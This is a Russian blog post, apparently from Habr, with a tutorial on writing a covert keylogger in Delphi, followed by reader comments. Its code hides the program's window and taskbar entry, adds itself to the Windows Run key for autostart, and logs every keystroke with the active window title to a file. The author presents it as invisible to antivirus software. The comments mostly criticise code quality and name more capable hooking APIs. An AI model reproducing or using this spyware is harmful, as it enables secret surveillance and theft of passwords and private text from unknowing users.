Это моя первая статья, потому не буду многословным и постараюсь как можно короче описать разработку клавиатурного шпиона на Делфи. Использовать мы будем функцию WinApi (getasynckeystate), осуществляющую глобальный перехват нажатия клавиш клавиатуры.

Описание: function GetAsyncKeyState(Key: Integer): Integer;
Опpеделяет состояние виpтуальной клавиши.
Параметры: Key: Код виpтуальной клавиши.
Возвращаемое значение: Если установлен стаpший байт, клавиша Key находится в нажатом положении, а если младший, то клавиша Key была нажата после пpедыдущего вызова функции.

Также нам понадобиться функция GetForegroundWindow — возвращает дескриптор приоритетного окна (окна, с которым пользователь в настоящее время работает). Система присваивает немного более высокий приоритет потоку, который создает приоритетное окно, чем тот, который она дает другим потокам.

Я думаю, этого достаточно для базового понимания того, как мы собираемся всё это дело реализовать. Преступим к созданию формы и написанию кода.

Начнём по порядку: открываем Делфи, заранее сохраняем наш проект, заходим в обработчик событий нашей формы вкладка Events и находим событие OnShow, два раза щёлкаем левой клавишей мыши на событие и пишем код.

procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);    // Скрываем нашу программу в панели задач.
end;  

Потом щёлкаем на событие OnCreate это событие вызывается при открытии самой программы, в ней пишем следующее.

procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;
begin
Application.ShowMainForm:=false; //Скрываем нашу форму, то есть делаем её невидимой.
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.LazyWrite:=false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false);
reg.WriteString('тут впишете имя вашей программы.exe',application.ExeName);
reg.CloseKey;
reg.Free;                                            
end;                       // Добавляем нашу программу в автозагрузку.

Так же не забываем после данной команды в uses проекта добавить RegisTry а так же заранее добавим и ShellApi это нам пригодиться в дальнейшем.

Теперь перейдём к самому интересному и кинем на нашу форму Memo из вкладки компонентов Standart имя которому создастся автоматически Memo1 а так же с этой же вкладке кинем на форму два компонента Button с именами Button1 и Button2 перейдём во вкладку компонентов System и кинем на форму два компонента Timer с именами Timer1 и Timer2 и кинем последний один компонент Label из вкладки компонентов Standart с именем Label1 и теперь можно уже начинать писать код.

Выделим компонент Timer1 на форме и в Object Inspector во вкладке Properties выставим интервал там стоит 1000 (то есть 1 секунда) а мы выставим 1, и доступность Enabled там автоматически выставлена True так и оставляем, теперь переходим во вкладку Events и там всего одно событие OnTimer, щёлкаем по нему два раза левой клавишей мыши и пишем код.

procedure TForm1.Timer1Timer(Sender: TObject);
var
s:string; //Переменная стринг она нам понадобиться на клавишу backspace.
begin
if GetAsyncKeyState(81)<>0 then    //Если зажата клавиша 81 тогда.
begin
timer1.Enabled:=false;  //Выключаем первый таймер.
memo1.Text:=memo1.Text+'й';       //Выводим в Memo1 букву й.
end;
begin
if GetAsyncKeyState(87)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ц';
end;
begin
if GetAsyncKeyState(192)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ё';
end;
begin
if GetAsyncKeyState(69)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'у';
end;
begin
if GetAsyncKeyState(82)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'к';
end;
begin
if GetAsyncKeyState(84)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'е';
end;
begin
if GetAsyncKeyState(89)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'н';
end;
begin
if GetAsyncKeyState(85)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'г';
end;
begin
if GetAsyncKeyState(73)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ш';
end;
begin
if GetAsyncKeyState(79)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'щ';
end;
begin
if GetAsyncKeyState(80)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'з';
end;
begin
if GetAsyncKeyState(219)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'х';
end;
begin
if GetAsyncKeyState(221)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ъ';
end;
begin
if GetAsyncKeyState(65)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ф';
end;
begin
if GetAsyncKeyState(83)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ы';
end;
begin
if GetAsyncKeyState(68)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'в';
end;
begin
if GetAsyncKeyState(70)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'а';
end;
begin
if GetAsyncKeyState(71)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'п';
end;
begin
if GetAsyncKeyState(72)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'р';
end;
begin
if GetAsyncKeyState(74)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'о';
end;
begin
if GetAsyncKeyState(75)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'л';
end;
begin
if GetAsyncKeyState(76)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'д';
end;
begin
if GetAsyncKeyState(186)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ж';
end;
begin
if GetAsyncKeyState(222)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'э';
end;
begin
if GetAsyncKeyState(90)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'я';
end;
begin
if GetAsyncKeyState(88)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ч';
end;
begin
if GetAsyncKeyState(67)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'с';
end;
begin
if GetAsyncKeyState(86)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'м';
end;
begin
if GetAsyncKeyState(66)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'и';
end;
begin
if GetAsyncKeyState(78)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'т';
end;
begin
if GetAsyncKeyState(77)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ь';
end;
begin
if GetAsyncKeyState(188)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'б';
end;
begin
if GetAsyncKeyState(190)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ю';
end;
begin
if GetAsyncKeyState(191)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'.';
end;
begin
if GetAsyncKeyState(48)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'0';
end;
begin
if GetAsyncKeyState(49)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'1';
end;
begin
if GetAsyncKeyState(50)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'2';
end;
begin
if GetAsyncKeyState(51)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'3';
end;
begin
if GetAsyncKeyState(52)<>0 then
begin
  timer1.Enabled:=false;
memo1.Text:=memo1.Text+'4';
end;
begin
if GetAsyncKeyState(53)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'5';
end;
begin
if GetAsyncKeyState(54)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'6';
end;
begin
if GetAsyncKeyState(55)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'7';
end;
begin
if GetAsyncKeyState(56)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'8';
end;
begin
if GetAsyncKeyState(57)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'9';
end;
begin
if GetAsyncKeyState(8)<>0 then //Если нажата клавиша 8 (то есть клавиша backspace) тогда.
begin
timer1.Enabled:=false;               //Отключаем таймер1.
s:=memo1.Text;            //Переменную s присваиваем к много строчному полю Мемо1.
Delete(s,length(s),1);             //Удаляем 1 букву.
memo1.Text:=s;            //И обратно поле Мемо1 присваиваем к переменной s.
end;                                                
begin
if GetAsyncKeyState(97)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'1';
end;
begin
if GetAsyncKeyState(98)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'2';
end;
begin
if GetAsyncKeyState(99)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'3';
end;
begin
if GetAsyncKeyState(100)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'4';
end;
begin
if GetAsyncKeyState(101)<>0 then
begin
 timer1.Enabled:=false;
memo1.Text:=memo1.Text+'5';
end;
begin
if GetAsyncKeyState(102)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'6';
end;
begin
if GetAsyncKeyState(103)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'7';
end;
begin
if GetAsyncKeyState(104)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'8';
end;
begin
if GetAsyncKeyState(105)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'9';
end;
begin
if GetAsyncKeyState(13)<>0 then //Если нажата клавиша 13 (то есть клавиша Ентер) тогда.
begin
timer1.Enabled:=false;                   //Таймер1 отключаем.
if memo1.Text <>'' then              //Если Мемо1 больше пустоты тогда.
begin
button2.Click;         //Нажимаем вторую кнопку которая выводит текущий процесс.
end;
end;
begin
if GetAsyncKeyState(32)<>0 then//Если нажата клавиша  32 (то есть клавиша пробел) тогда.
begin
timer1.Enabled:=false;                      //Таймер1 отключаем.
memo1.Text:=memo1.Text+' ';         //В Мемо1 выводим пробел.
end;
begin
if GetAsyncKeyState(1)<>0 then//Если нажата клавиша 1 то есть левая клавиша мыши тогда.
begin
timer1.Enabled:=false;                  //Таймер1 отключаем.
if memo1.Text <>'' then             //Если Мемо1 больше пустоты тогда.
begin
button2.Click;     //Нажимаем вторую кнопку которая выводит текущий процесс.
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;

Вот собственно нажатие клавиш мы осуществили, теперь нам нужно сделать событие при отжимании клавиш, для этого нам и понадобился второй таймер. Нажимаем на форме на компонент Timer2 и настраиваем его так же, как и первый таймер, интервал ставим 1, щёлкаем на событие OnTimer и пишем код.

procedure TForm1.Timer2Timer(Sender: TObject);
begin
if GetAsyncKeyState(81)or GetAsyncKeyState(87)     //Если клавиша 81 или 87  итд.
or GetAsyncKeyState(192)or GetAsyncKeyState(69)
or GetAsyncKeyState(82)or GetAsyncKeyState(84)
or GetAsyncKeyState(89)or GetAsyncKeyState(85)
or GetAsyncKeyState(73)or GetAsyncKeyState(79)
or GetAsyncKeyState(80)or GetAsyncKeyState(219)
or GetAsyncKeyState(221)or GetAsyncKeyState(65)
or GetAsyncKeyState(83)or GetAsyncKeyState(68)
or GetAsyncKeyState(70)or GetAsyncKeyState(71)
or GetAsyncKeyState(72)or GetAsyncKeyState(74)
or GetAsyncKeyState(75)or GetAsyncKeyState(76)
or GetAsyncKeyState(186)or GetAsyncKeyState(222)
or GetAsyncKeyState(90)or GetAsyncKeyState(88)
or GetAsyncKeyState(67)or GetAsyncKeyState(86)
or GetAsyncKeyState(66)or GetAsyncKeyState(78)
or GetAsyncKeyState(77)or GetAsyncKeyState(188)
or GetAsyncKeyState(190)or GetAsyncKeyState(191)
or GetAsyncKeyState(13)or GetAsyncKeyState(32)
or GetAsyncKeyState(1)or GetAsyncKeyState(2)
or GetAsyncKeyState(8)or GetAsyncKeyState(48)
or GetAsyncKeyState(49)or GetAsyncKeyState(50)
or GetAsyncKeyState(51)or GetAsyncKeyState(52)
or GetAsyncKeyState(53)or GetAsyncKeyState(54)
or GetAsyncKeyState(55)or GetAsyncKeyState(56)
or GetAsyncKeyState(57)or GetAsyncKeyState(97)
or GetAsyncKeyState(98)or GetAsyncKeyState(99)
or GetAsyncKeyState(100)or GetAsyncKeyState(101)
or GetAsyncKeyState(102)or GetAsyncKeyState(103)
or GetAsyncKeyState(104)or GetAsyncKeyState(105)=0 then 
//Если отжата какая либо из этих клавиш тогда.
timer1.Enabled:=true;           //Включаем Timer1 .
end;

Событие на отжимание клавиш мы сделали, теперь осталось ещё немножко, на форме два раза щёлкаем левой кнопки мыши на компонент Button2 и нам автоматом открывается событие кнопки OnClick, далее пишем код на вывод процесса, в данный момент находящегося в фокусе.

procedure TForm1.Button2Click(Sender: TObject);
var
buf: array[Byte] of Char;   //Объявляем переменную куда будем писать процесс.
begin
GetWindowText(GetForegroundWindow, buf, Length(buf)*SizeOf(buf[0])); 
//Функция вывода процесса в переменную.
Label1.Caption := '' + buf;                //В Label 1 выводим название процесса.
button1.Click;     //Нажимаем первую кнопку для записи в текстовый документ.             
end;

Теперь остался последний штрих: нам нужно записать набранный текст с Memo1 в текстовый документ, создание которого мы сейчас реализуем, на форме нажимаем на компонент Button1, так же открываем событие OnClick и пишем код.

procedure TForm1.Button1Click(Sender: TObject);
var
 f: textfile;            //Объявляем переменную f текст файл.
 begin
AssignFile(f,ExtractFilePath(Application.ExeName)+'log.txt');  
//Устанавливаем связь переменной с текстовый файлом по имени log.txt.
if FileExists(ExtractFilePath(Application.ExeName)+'log.txt')=false  
//Если файла log.txt не существует.
then Rewrite(f)                        //Тогда перезаписываем его.
else Append(f);                     //Иначе открываем для редактирования.
if memo1.Text <>'' then          //Если Мемо1 больше пустоты тогда.
Writeln(f, Memo1.text+' - '+''+TimeTostr(Time)+'('+DateToStr(Date)+')'+label1.caption);  
//Записываем в текстовый файл текст с поля Мемо1 записываем время, дату и процесс находящийся в фокусе.
CloseFile(f);   //Выходим из текстового файла.
memo1.Clear;    //Чистим поле Мемо1.
label1.Caption:='';   //Чистим label1 где был наш процесс находящийся в фокусе.
end;

Вот собственно и всё, мы осуществили глобальный перехват клавиатуры, абсолютно невосприимчивый к заклинаниям любых антивирусов, правда, как видим, перехватываем только в русскоязычной раскладке, но намного лучше, чем использовать dll библиотеки, которые хватает за горло каждый антивирус.

Выражаю благодарность администраторам данного ресурса за возможность делиться полученным опытом и знаниями в сфере it, а также хочу поблагодарить всех близких и дорогих мне людей за понимание.
Поделиться с друзьями
-->

Комментарии (46)


  1. Sild
    19.05.2016 17:37
    +29

    Вам самому не больно, когда вы смотрите на этого монстра?


    1. ValdikSS
      19.05.2016 20:53

      https://github.com/ValdikSS/openvpn-radiusplugin/blob/79d98697eddcbd4b2f0c019147060d698b4d0180/UserAuth.cpp#L346

      Оно, правда, автоматически сгенерировано скриптом, но все же.


      1. Lol4t0
        19.05.2016 21:39

        плохо же, ну!



  1. DrPass
    19.05.2016 17:39
    +21

    Я бы руки оторвал. Не за клавиатурного шпиона, а за TForm1, за бесконечное полотенце if GetAsyncKeyState(81)<>0 then… (откройте для себя циклы), за коряво отформатированный код и за многое другое.


    1. Akr0n
      19.05.2016 17:41
      +11

      Нам когда-то препод за дефолтные названия не глядя сразу лепил неуд. Эх, студенчество…


      1. Darthman
        19.05.2016 18:19
        +3

        И правильно делал :)


    1. gena_glot
      19.05.2016 19:18
      -16

      Здесь очевидно, что человек просто захотел сделать две вещи:
      1. Разобраться как работает кей-логгер.
      2. Разобраться как работает winAPI функция.
      То есть задача была совершенно учебной, никто этот кейлоггер в продакшн не пускает. Код написан наспех, много копирования и репликации. Задача в рамках обучения решена правильно.

      Пальцы стоит оторвать вашему папе, точнее не пальцы, а другое место. Потому что умственно отсталый дурак, который ничего не понимает и ни в чем не разбирается, а сразу увидев что-то начинает выть как дурная баба. Если вы программист — то вы не инженер. Вон из профессии.


      1. tmnhy
        19.05.2016 19:32
        +6

        Хм…
        Такой код, как у автора, на хабре — это как «Падонкаффский», или «олбанский» йезыг или йазык падонкафф на профильном форуме филологов.


      1. staticspb
        19.05.2016 21:44

        Если человека интересовало «разобраться как работает кейлоггер» и «WinAPI», то почему тут и в помине нет хотя-бы SetWindowsHookEx? Или автор забанен в Гугле? Пятнадцать лет назад не было StackOverflow, что там – за полноценный набор дисков с MSDN я готов был отдать палец или два, но все-же как-то находили информацию и учились…


      1. DrPass
        19.05.2016 21:56

        Давайте я вам объясню очевидную вещь, которую вам надо было бы познать еще в школьном возрасте, когда вам учителя задавали рефераты подготовить: если человек хочет разобраться, значит, он сидит за своим компьютером и разбирается. А если он готовит доклад или статью, значит, он имеет знания, которые он собрал и передаёт другим. Так вот, передавать знания небрежно, с кучей ляпов, с диким оформлением — это просто неуважение к своим читателям. И чем делать так, намного лучше промолчать.
        > умственно отсталый дурак > дурная баба
        Вот вам тоже лучше было бы промолчать. Ну, может быть, хотя бы подумать головой перед тем, как вываливать какашки. Даже если бы вы были со мной несогласны, это можно было бы сказать языком вменяемого человека, а не хамить. А так, вы просто сами себя опозорили. Оно вам надо было?


    1. gena_glot
      19.05.2016 19:28
      -13

      Немного поясню: на месте критикуемого каждый из вас оказывается куда чаще. Вы делаете проект на заказ, делаете наспех прототип — чтобы понять чего заказчик хочет. Заказчик начинает придираться к оформлению «а чего у вас тут не сделано», «а чего у вас там не сделано». Даже на ответственной позиции, какого-нибудь главного программиста в 95% случаев статистически вы будете на месте автора вот такого кейлоггера. Соответственно, высказываясь мягче — дорогой Доктор Пасс, ваши привычки которые вы здесь продемонстрировали затруднят реализацию любого проекта под вашим руководством. Вы затянете сроки и испортите всем нервы. Начальник вы пока не очень хороший. Или уходите или переучивайтесь. Не будьте дураком, а ваш папа таки дурак тоже, не смог воспитать сына человеком. Такие дела.


      1. leschenko
        19.05.2016 20:29
        +7

        Так нельзя писать даже в прототипе. В 100% случаев «программист» (если его можно так назвать) за такой код должен быть уволен сразу. Тот кто его будет защищать должен пойти следом и никогда не возвращаться.


      1. HaruAtari
        19.05.2016 21:04

        Только никто с подобными прототипами на хабр не бежит.


      1. AllexIn
        19.05.2016 21:17

        Прототип — это не говнокод.
        Прототип — это код не предполагающий расширения.
        Всё.


  1. AgentSmith
    19.05.2016 17:42
    +22

    Ошибся сайтом. Это надо сюда http://govnokod.ru/


    1. Darthman
      19.05.2016 18:22
      +4

      Возможно это уже оттуда?


  1. darkAlert
    19.05.2016 17:45
    +4

    Вот это жесть. Советую в следующей раз не бросаться с таким рвением на амбразуру, а потратить немного времени на изучение проблемы.
    SetWindowsHookEx function решает эту задачу: https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx


    1. DrPass
      19.05.2016 17:47
      +3

      Ну, там еще DLL для глобального хука надо ж делать… И я не проверял, но почему-то уверен, что UAC в современных версиях Windows лесом пошлёт этот глобальный хук, если его ставить не под расширенными правами.


      1. ildus
        19.05.2016 18:38
        +1

        Обязательно пошлет, такого рода клавиатурные шпионы на дельфях умерли вместе c Windows XP


      1. ertaquo
        19.05.2016 21:41

        Низкоуровневые хуки на клаву и мышку (WH_KEYBOARD_LL, WH_MOUSE_LL) вроде и без DLL можно сделать. Но UAC пошлет, да :)
        А касаемо темы статьи — GetAsyncKeyState отлавливает только то, что было нажато на момент проверки :) Если текст быстро набирать, отловятся только редкие буквы.


    1. AllexIn
      19.05.2016 21:18

      Хуки пихать без необходимости — плохая практика.
      Вообще модифицировать поведение чужого кода надо с большой осторожностью и десять раз подумав.


  1. tmnhy
    19.05.2016 17:54
    +9

    Адов-ад, и ведь его редактор выпустил из песочницы.


  1. atelenga
    19.05.2016 17:57
    +2

    Даже безотносительно качества кода (у вас куча одинакового кода в if...then...else, который можно спокойно вынести в отдельную функцию, которой передавать код нажатой клавиши, а сами эти конструкции заменить на case), настоящего клавиатурного шпиона не получится, поскольку вы в явном виде привязываетесь к конкретной раскладке. Почитайте про функцию MapVirtualKey, она должна вам помочь.


  1. Imp5
    19.05.2016 17:57
    +9

    Напомнило: my_first_calculator.py


    1. atelenga
      19.05.2016 18:01
      +3

      Автор скрипта — слабак, даже до 100 не смог дойти :)


      1. Mihail57
        19.05.2016 18:09
        +3

        atelenga, а Вы дойдите и докажите, что не слабак :)

        P.S. от той страницы даже Chromium-подобные браузеры виснут.


      1. ZblCoder
        19.05.2016 18:26

        А что, если автор это скрипта, другой скрипт? И он пощадил наши колеса мышек.


        1. samodum
          19.05.2016 18:48

          Автор скрипта и есть другой скрипт
          https://github.com/AceLewis/my_first_calculator.py/blob/master/generator.py


  1. Drag13
    19.05.2016 18:30
    +4

    Я конечно все понимаю, но может не будем парня минусовать? Человек же не со зла, старался… Так и отбить всю тягу к программированию можно.


    1. ZblCoder
      19.05.2016 18:35
      +3

      Очень сложно сказать, какой путь для него будет лучше. С кодом по жизни или без. В любом случае, нужно подождать следующую статью от этого автора.


      1. Drag13
        19.05.2016 18:45
        -1

        Абсолютно согласен. Но если человека завалить, то следующей статьи может и не быть, ведь так?


    1. tmnhy
      19.05.2016 18:39
      +23

      Как минуснуть того, кто выпустил его из песочницы?


    1. Darthman
      19.05.2016 18:43
      +7

      Я не уверен, что человеку, только что открывшему для себя пару стандартных WinApi функций надо срочно бежать и писать статью на хабр. Я так могу за свои долгие годы в кодинге каждый день что-то выкладывать. Надоест быстро всем, уверяю.
      Писать надо о чем-то интересном, а что тут интересного? GetAsyncKeyState, if и end накопипащены тоннами. Не уверен что хабр это то самое место, где этому место.
      Я не против того, чтобы парень писал статьи по делфи. Я люблю и уважаю его, но подобное не поможет никому из знающих что-либо, а тем, кто не знает поможет разве что научиться как не надо писать код.


      1. Drag13
        19.05.2016 18:46

        «По крайней мере статья больше 140 символов» (С).

        Конечно не стоит и я думаю он уже все понял) Впрочем это только мое мнение, естественно никому не навязываю. Просто вспоминаю свои листинги с Паскаля :)


    1. samodum
      19.05.2016 20:21
      +1

      Про GetAsyncKeyState он узнал, а (хотя бы) про массивы и циклы — нет? Очень странно


    1. AllexIn
      19.05.2016 21:19
      -1

      Знаете, когда-то давно, в бытность школьником я послал статью в Игроманию, примерно такого же уровня.
      Её не опубликовали. И знаете, я как-то не умер и программисто это не помешало стать. И даже на хабре пишу иногда.


      1. Drag13
        19.05.2016 21:46
        +1

        Есть же разница между «не опубликовали» и «омеркаптанели»?


  1. svekl
    19.05.2016 19:35
    -1

    Уважаемый автор, судя по всему, Вы делаете первые шаги в изучении программирования, и я искренне желаю Вам успехов, но от себя хотел бы посоветовать не тратить бесценное время Вашей жизни на изучение IDE и языка программирования 15 летней давности. Оглянитесь вокруг, есть очень много современных и интересных языков программирования и инструментов. Например, если Вас интересует создание десктопных Windows приложений(и далеко не только их), то могу посоветовать Visual Studio 2015 Community(которая ещё и бесплатная, в отличии от дельфи) и язык C#(его придумал тот же человек, что и Delphi, но с учётом своего прошлого опыта и ошибок, и вышло, на мой взгляд, отлично). Уверен, Вы будете приятно удивлены, когда увидите, насколько вперёд шагнули технологии за прошедшие 15 лет. Хорошо может помочь в изучении книга Эндрю Троелсена. Но это лишь один из примеров замечательных современных инструментов, которые существуют и активно развиваются сегодня, и к коим Delphi 7 отнести никак не могу.


    1. Darthman
      19.05.2016 19:51
      +3

      Каждый раз, когда кто-то пишет статью о чём-то, находится человек, ни слова не скажущий о статье, о методах и принципах из статьи, а сразу же в лоб раскритикующий инструменты по своему личному и субъективному вкусу.
      Открою страшную тайну. Нет никакой проблемы в том, что человек пишет на делфи, ровно как и то, что он использует Delphi7. (Ей, кстати всего 14 лет, а язык жив и развивается и по сей день). От инструмента зависят только возможности инструмента. А программы пишут не инструменты, а люди.
      Если бы он писал тоже самое на C#, результат бы и подход отличался в данном случае не сильно, уверяю.


      1. svekl
        19.05.2016 20:38
        +1

        Вы абсолютно правы по всем пунктам, дело в том, что мне совершенно нечего добавить по сути статьи к остальным комментариям, всё уже сказано. Но дело в том, что я очень много времени когда-то потратил на изучение и использование в работе Delphi 7 — 2010, просто потому что так сложилось(в ВУЗе научили, потом пригодилось для поддержки legacy продукта)… и даже версию 2010 я вспоминаю сейчас как дурной сон. И мне очень бы хотелось потратить это время на изучение чего-нибудь другого, но уже не могу.

        Да, конечно, это очень субъективно, но ведь в этом же и суть комментариев, чтобы высказывать своё субъективное мнение.

        Ей, кстати всего 14 лет

        Это что, делает её современным и удобным для работы инструментом?

        А программы пишут не инструменты, а люди.

        Бесспорно, но инструменты экономят время, а мы ведь не бессмертные.


        1. AllexIn
          19.05.2016 21:58
          +1

          Ну а у меня другой опыт.
          Как и многие я начинал с Паскаля, а потом и Дельфи.
          Потом перешел на С++. Мне нравится писать на С++ и я достаточно свободно в нем ориентируюсь.
          Но дельфи воспринимается как вполне годный язык. Я бы на нем и сейчас писал, если бы его продолжили нормально развивать.


          1. svekl
            19.05.2016 22:06

            Да я даже не про Дельфи в общем сначала говорил, а именно про время на изучение Дельфи 7 в 2016 году.
            Насколько я знаю, текущая версия шагнула далеко вперёд, как в плане удобства IDE, так и языка. Но версия 2010 оставила такой плохой отпечаток, что уже этого никогда и не проверю.


  1. Areso
    19.05.2016 20:06

    Да ладно вам доминировать, что, ваш код никогда не проходили ревью таким образом?
    http://commadot.com/wtf-per-minute/
    Или у вас не было первого опыта, которым хочется поделиться со всем миром?
    Автор, я думаю, всё и так уже понял.


  1. voidMan
    19.05.2016 21:12
    +1

    Delphi7 и кейлоггер на WinAPI, какой сейчас год, говорите?


  1. ilya42
    19.05.2016 21:20
    +6

    Дорогой Марти МакФлай, мы рады приветствовать тебя на Хабре. К сожалению, ты промахнулся на 20 лет, сейчас 2016, а не 1996. Но нам все равно приятно, что ты делаешь первые шаги в программировании. Привет профессору Брауну!